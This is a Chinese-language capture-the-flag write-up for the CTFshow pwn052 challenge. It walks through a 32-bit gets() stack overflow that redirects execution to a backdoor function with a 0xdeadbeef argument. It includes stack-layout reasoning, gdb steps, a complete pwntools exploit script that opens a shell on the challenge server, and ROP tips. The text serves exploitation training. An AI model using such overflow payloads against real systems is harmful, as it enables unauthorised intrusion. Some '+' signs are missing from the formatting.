32位栈溢出实战:CTFshow pwn052参数传递与后门函数调用分析 📅 2026/6/20 6:41:26 1. 项目概述与核心挑战最近在复盘CTFshow的pwn系列题目做到052这道题时感觉它把32位环境下的栈溢出玩出了新花样。题目本身叫“pwn 052”但核心考点远不止一个简单的栈溢出覆盖返回地址。它巧妙地融合了32位程序调用约定cdecl下的高级传参技巧以及如何利用程序中一个“带参数”的后门函数。很多刚接触pwn的朋友可能对32位和64位在传参上的区别只有一个模糊的概念知道一个是靠栈一个是靠寄存器但具体到实战中尤其是遇到这种需要精心构造参数链的题目往往就卡壳了。这道题就是一个绝佳的教学案例它能让你彻底搞明白在栈空间有限、没有现成“system(‘/bin/sh’)”的情况下如何像搭积木一样把正确的参数值“搬运”到正确的位置最终打开那个隐藏的“后门”。简单来说这道题给了一个有栈溢出漏洞的32位程序。溢出点很常规但难点在于程序里给你留的“后门”函数我们通常叫它backdoor并不是无参的它需要一个特定的参数比如一个魔法数字0xdeadbeef才能触发真正的shell。这就意味着你不能简单地用溢出覆盖返回地址为后门函数地址就完事了你还得在栈上伪造出函数调用时的现场包括返回地址虽然用不上、以及那个至关重要的参数。在32位环境下所有参数都是通过栈传递的这就对我们的溢出Payload构造提出了精确到字节的要求。2. 环境准备与初步分析拿到一个pwn题第一步永远是信息收集。我会习惯性地用file和checksec命令先给程序做个“体检”。$ file pwn052 pwn052: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]xxxxxxxx, not stripped $ checksec --filepwn052 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)从输出我们能立刻得到几个关键信息1这是一个32位i386的ELF程序2动态链接3符号表没有去除not stripped这意味着我们可以直接用objdump或readelf看到函数名比如main、vulnerable_function甚至backdoor分析难度大大降低4安全防护方面只开启了NX堆栈不可执行没有栈保护金丝雀Canary和地址随机化PIE。没有Canary和PIE对我们来说是极大的利好因为栈溢出可以长驱直入并且函数和代码的地址是固定的我们可以直接使用。接下来用反汇编工具深入程序内部。我更喜欢用objdump -d配合grep来快速定位关键函数。$ objdump -d pwn052 | grep -A 20 main: $ objdump -d pwn052 | grep -A 30 vulnerable_function: $ objdump -d pwn052 | grep -A 15 backdoor:假设我们找到了一个名为vulnerable_function的函数它里面使用了不安全的gets或scanf函数向一个固定大小的栈缓冲区读入数据这就是我们的溢出点。同时我们也找到了backdoor函数它的反汇编可能类似这样08049182 backdoor: 8049182: 55 push ebp 8049183: 89 e5 mov ebp,esp 8049185: 83 ec 08 sub esp,0x8 8049188: 83 7d 08 ef cmp DWORD PTR [ebp0x8],0xdeadbeef ; 检查第一个参数是否为0xdeadbeef 804918c: 75 0a jne 8049198 backdoor0x16 ; 不相等则跳转到返回 804918e: b8 00 00 00 00 mov eax,0x0 8049193: e8 c8 fe ff ff call 8048060 systemplt ; 相等则调用system 8049198: 90 nop 8049199: c9 leave 804919a: c3 ret看关键就在这里cmp DWORD PTR [ebp0x8],0xdeadbeef。在32位cdecl调用约定下函数参数从右向左压栈。调用backdoor(0xdeadbeef)时汇编层面会先将参数0xdeadbeef压栈然后通过call指令将返回地址压栈并跳转。进入backdoor函数后ebp0x8这个位置存放的就是第一个参数。所以我们的目标不仅仅是跳转到0x08049182还要确保在跳转时栈顶上方4字节的位置即[ebp0x8]对应调用前的esp4正好是0xdeadbeef。3. 栈帧布局与Payload构造原理要构造成功的Payload我们必须清晰地还原出函数调用发生时栈的精确布局。让我们从vulnerable_function的视角来推演。假设vulnerable_function的开头是这样的push ebp mov ebp, esp sub esp, 0x40 ; 在栈上分配了0x40字节的缓冲区 lea eax, [ebp-0x40] push eax call getsplt ; 向缓冲区读入数据存在溢出风险 ...当gets被调用时它的参数缓冲区的地址eax已经被压栈。gets函数内部会从标准输入读取数据一直读到换行符或EOF它不检查边界。因此如果我们输入的数据长度超过了缓冲区大小这里是0x40字节多出的数据就会覆盖栈上更高地址的内容。那么从缓冲区起始地址[ebp-0x40]开始到vulnerable_function的返回地址被覆盖中间有哪些东西呢我们来画一个栈帧图从高地址到低地址高地址 ... [ebp0x8] - 可能的上一层函数的参数如果有 [ebp0x4] - 上一层函数的返回地址对我们无用 [ebp] - 保存的ebp (old ebp) - 当前ebp寄存器指向这里 [ebp-0x40] - 缓冲区开始地址 ... [ebp-0x01] - 缓冲区结束地址 低地址当vulnerable_function执行leave相当于mov esp, ebp; pop ebp和ret相当于pop eip指令准备返回时esp会指向[ebp]的位置。pop ebp会恢复旧的ebp值同时esp上移4字节指向[ebp0x4]也就是保存的返回地址。紧接着的ret指令会把这个地址弹出到eip程序就跳转到那里执行。所以我们的溢出Payload需要覆盖从缓冲区开头一直到返回地址之后的空间。具体偏移量计算如下从[ebp-0x40]到[ebp]是0x40字节。[ebp]处存放的是old ebp占4字节。所以覆盖old ebp需要4字节。再之后从[ebp0x4]开始就是返回地址的位置。因此Payload的基本结构是[0x40字节垃圾数据] [4字节覆盖old_ebp] [4字节目标返回地址]但我们的目标不仅仅是覆盖返回地址还要模拟一次对backdoor(0xdeadbeef)的调用。在32位cdecl下一次call指令会做两件事1将下一条指令的地址返回地址压栈2跳转到目标函数。而参数是在call之前压栈的。所以当我们希望程序流从vulnerable_function的ret指令直接“跳入”backdoor函数并让它认为自己是正常被调用时我们需要在栈上伪造出这样一个调用现场低地址 高地址 ... | 垃圾数据 | old_ebp | backdoor_addr | 返回地址(随意) | 参数1(0xdeadbeef) | ... ^ ^ 缓冲区起点 ret指令执行时esp指向这里解释一下ret指令执行时esp指向的是我们覆盖的backdoor_addr。ret会将其弹出到eip程序跳转到backdoor。backdoor函数开头执行push ebp; mov ebp, esp。此时ebp被压栈这会覆盖掉我们Payload中backdoor_addr后面的4个字节所以那4个字节可以是任意值通常用aaaa填充然后ebp被设置为当前的esp。在backdoor函数看来[ebp0x8]就是它的第一个参数。那么[ebp0x8]对应的是栈上哪个位置呢就是backdoor_addr地址再往后数8个字节ebp本身占4字节backdoor的返回地址占4字节然后才是参数。所以我们必须在backdoor_addr后面再填充8个字节其中后4个字节就是0xdeadbeef。因此最终的Payload结构应该是payload bA * (0x40 4) p32(backdoor_addr) p32(任意值) p32(0xdeadbeef)这里bA*(0x404)填满缓冲区并覆盖old_ebpp32(backdoor_addr)是覆盖的返回地址p32(任意值)是backdoor函数眼中自己的返回地址因为我们是“强行”跳入的这个返回地址用不上可以填0xcccccccc或aaaap32(0xdeadbeef)就是传递给backdoor的参数。注意这里有一个非常关键的细节也是新手最容易出错的地方。backdoor函数开头的push ebp会改变栈顶esp。在我们构造的栈布局中backdoor_addr后面的4个字节我们填的任意值会被这次push覆盖掉。但这没关系因为函数根本不会去使用这个位置的数据作为有效返回地址它不会ret到那里。我们填充它只是为了占位确保0xdeadbeef在正确的偏移[ebp0x8]上。4. 动态调试与偏移验证理论推演很重要但动调动态调试才是检验真理的唯一标准。我强烈建议在构造最终Exp前用gdb或pwndbg验证一下偏移和栈布局。首先用gdb打开程序在vulnerable_function的ret指令处下断点。gdb-peda$ b *vulnerable_functionxxx (替换为ret指令地址) gdb-peda$ r (python -c print A*100)程序运行后会断在ret指令前。此时查看栈内存gdb-peda$ x/20wx $esp你应该能看到一大片0x41414141‘A’的ASCII码。找到这片0x41结束的地方紧接着的4个字节就是即将被ret弹到eip的地址。计算从缓冲区开始到这个位置的偏移是否等于我们推算的0x404这步验证能确保我们精准覆盖返回地址。然后我们可以手动修改内存模拟Payload。假设我们找到了backdoor的地址是0x08049182。# 假设esp指向0xffffd00c这里将是ret的返回地址 gdb-peda$ set *0xffffd00c 0x08049182 # 设置“伪造的返回地址” gdb-peda$ set *0xffffd010 0xcccccccc # 设置参数 gdb-peda$ set *0xffffd014 0xdeadbeef然后单步执行ni跳转到backdoor。再单步步入si进入backdoor函数内部。执行到cmp [ebp0x8], 0xdeadbeef时检查ebp0x8指向的内存值是否为0xdeadbeef。gdb-peda$ x/wx $ebp8如果显示0xdeadbeef恭喜你栈布局完全正确这种动态验证的方法能让你对栈的变化有肌肉记忆般的理解。5. 完整利用脚本编写经过分析和调试我们已经掌握了所有要素。现在用pwntools编写最终的利用脚本。pwntools是pwn手的瑞士军刀能极大简化交互、打包数据等过程。#!/usr/bin/env python3 from pwn import * # 设置上下文指定架构为i386这会影响p32/p64等打包函数 context(archi386, oslinux, log_leveldebug) # 连接方式本地文件或远程服务 # io process(./pwn052) # 本地测试 io remote(pwn.challenge.ctf.show, 28201) # 远程连接端口需根据题目调整 # 关键地址 backdoor_addr 0x08049182 # 需要根据实际题目替换 magic_param 0xdeadbeef # 需要根据实际题目替换 # 计算偏移量 buffer_size 0x40 # 假设的缓冲区大小需根据实际调整 offset_to_ret buffer_size 4 # 缓冲区 old_ebp # 构造Payload payload bA * offset_to_ret payload p32(backdoor_addr) # 覆盖返回地址为backdoor函数地址 payload p32(0xcccccccc) # 伪造的返回地址占位用 payload p32(magic_param) # backdoor函数的参数 # 发送Payload io.sendline(payload) # 切换到交互模式获得shell后可以手动输入命令 io.interactive()脚本说明context(archi386)至关重要告诉pwntools这是32位程序这样p32()函数才会打包出4字节的小端序数据。offset_to_ret这是我们计算出的到返回地址的精确偏移。务必通过动态调试确认。p32()将整数打包成4字节的小端序格式。这是32位pwn的标配。payload结构严格按照我们之前分析的布局构造。io.interactive()在发送完Payload后将控制权交还给用户以便在获得的shell中执行命令。6. 拓展与高阶技巧成功拿到shell固然开心但这道题的价值远不止于此。我们可以借此深入思考几个更普遍的问题1. 参数不止一个怎么办如果后门函数是backdoor(0xdeadbeef, 0xcafebabe)需要两个参数呢根据cdecl约定参数从右向左压栈。所以栈布局应该变成... | backdoor_addr | ret_addr_placeholder | param2(0xcafebabe) | param1(0xdeadbeef) | ...即[ebp0x8]是第一个参数[ebp0xc]是第二个参数。在Payload中就需要在伪造的返回地址后连续放置两个参数。2. 如何动态获取地址我们的脚本里硬编码了backdoor_addr。如果程序开启了PIE地址随机化每次加载的基址都不同这个地址就是错的。在32位非PIE情况下这不是问题但作为一种通用技能我们需要知道如何获取。如果程序输出了某个已知函数的地址比如puts的GOT表地址我们可以通过计算与backdoor的相对偏移来得到其真实地址。这涉及到GOT/PLT和libc的知识是另一个重要话题。3. 没有后门函数只有systemplt怎么办这是更常见的情况。你需要自己构造参数通常是字符串/bin/sh的地址。这需要你在内存中比如通过溢出写到.bss段或者寻找现成的字符串找到或写入这个字符串然后把它的地址作为参数传递给system。这就引出了ROPReturn-Oriented Programming技术通过串联程序已有的代码片段gadgets来一步步设置参数、调用函数。32位ROP因为参数在栈上构造起来比64位参数在寄存器有时更直观但需要更多的gadgets来“抬栈”或调整栈指针。4. 关于old_ebp的覆盖在我们的Payload中我们用AAAA覆盖了old_ebp。这通常不会造成问题因为backdoor函数返回时会恢复这个被覆盖的ebp值到寄存器。如果backdoor函数后面还有其他函数调用或者它自己使用了基于ebp的栈帧访问一个无效的ebp值可能导致程序在backdoor函数返回后崩溃。但在我们这道题里backdoor调用system后就直接进入shell了不会返回所以无关紧要。但在更复杂的利用链中可能需要精心构造一个合法的、可用的ebp值这通常指向一个稳定的、可写的内存区域。7. 常见踩坑点与排查清单即使思路清晰实际编写和运行Exp时也难免遇到问题。下面是我总结的几个常见坑点和排查步骤偏移量计算错误这是最普遍的问题。buffer_size可能不是直接的0x40编译器可能会有栈对齐填充。务必使用模式字符串pattern来精确计算。可以用pwntools的cyclic和cyclic_find功能或者msf-pattern_create和msf-pattern_offset。# 使用cyclic生成测试字符串 from pwn import * context(archi386, oslinux) io process(./pwn052) payload cyclic(200) io.sendline(payload) io.wait() # 程序崩溃 # 从core dump或崩溃信息中获取eip的值比如是0x6161616c offset cyclic_find(0x6161616c) # 查找这个值在pattern中的位置 print(fOffset to eip is: {offset})字节序问题p32()默认生成小端序Little-Endian这对于x86/x64架构是正确的。但如果你手动拼接字符串比如\x82\x91\x04\x08要确保顺序正确地址的低字节在低内存地址。栈对齐问题在某些系统调用或特定函数调用时栈指针esp可能需要满足特定的对齐要求如16字节对齐。虽然这道题可能不涉及但在更复杂的ROP中如果system调用失败可以尝试在跳转前增加一个ret指令的gadget来微调esp。输入处理问题程序使用的输入函数是gets吗还是fgets、readgets会读入换行符\n并替换为\x00而fgets也会读入\n。read则不会在末尾添加任何东西。如果Payload中包含\x00或\n可能会被截断。确保你的Payload中不包含这些可能被解释为终止符的字节。动态链接与libc版本如果backdoor里调用的是system而system函数位于libc中。不同环境本地、题目服务器的libc版本可能不同导致system函数的偏移地址不同。在本地打通的Payload到远程可能失效。对于远程题目通常题目提供的环境是确定的。如果怀疑是libc问题可以尝试从题目附件中提取libc文件或者使用题目可能提供的libc信息。调试技巧在远程利用时看不到输出怎么办可以在Payload中加入一段“蛋”egg或者尝试让程序崩溃前输出一些内存信息。例如可以尝试覆盖返回地址为putsplt并设置参数为某个已知地址来泄露内存内容。这属于信息泄露Infoleak的范畴是绕过ASLR等防护的关键。这道“pwn 052”就像一把钥匙帮你打开了理解32位栈溢出和参数传递的大门。它剥离了复杂的内存布局和防护机制让你专注于最核心的调用约定和栈操作。掌握它不仅是解出一道题更是为后续面对更复杂的漏洞利用场景打下了坚实的思维基础。下次再看到32位的程序你脑子里应该能立刻浮现出那张栈帧图以及参数是如何一个个被压入栈中的画面。这才是练习的意义所在。